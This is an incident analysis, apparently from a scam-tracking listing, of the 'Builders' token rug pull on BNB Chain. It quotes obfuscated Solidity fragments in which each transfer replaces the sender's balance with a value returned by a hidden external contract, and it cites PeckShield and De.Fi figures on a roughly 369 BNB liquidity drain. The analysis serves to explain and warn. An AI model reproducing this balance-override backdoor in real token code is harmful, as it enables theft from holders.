Builders NFT Rug Pull

What the code allows:

1. The constructor stores a hidden address in uoDRCJVjRlAWHCHQPyPaa = address(uint160(aqdr51wc));. It is supplied as a constructor argument, so the verified source does not show which contract it points to.
2. Every transfer, including a PancakeSwap sell via transferFrom, runs _balances[kbgtohdhfrom] = _6d4e7d13(kbgtohdhfrom, amount, _balances[kbgtohdhfrom]); before the balance check.
3. _6d4e7d13 forwards the call to the external contract: return GguSQNlfLQyeKUmaJtyCD(uoDRCJVjRlAWHCHQPyPaa).a1c29f34eb3c(sender, amount, balance);. The returned number replaces the sender's balance.
4. The next lines run require(_balances[kbgtohdhfrom] >= amount, ...) and then subtract amount. If the external contract returns a number larger than the real balance, the transfer succeeds against a balance the holder does not have; if it returns less than amount, the transfer reverts with the balance error. Which addresses got which result depends on the external contract's code, which is not in the verified source.

(per the listing and PeckShield):

5. PeckShield's alert states that 0xF751d509…f70090 swapped 1,000,000,000,000,000 BuiLDerS for 369.2 BNB (about 90K USD). The token's current on-chain totalSupply is 1,000,000,000 tokens (a read at 2026-09-30, not historical), so the alerted swap amount is far above the supply read; the code allows this through the balance override, but the alert and the source do not by themselves show that the hook produced it.
6. De.Fi's listing records the liquidity pool being drained of 89,296 USD (369.19 WBNB), moved to another EOA and spread across several addresses.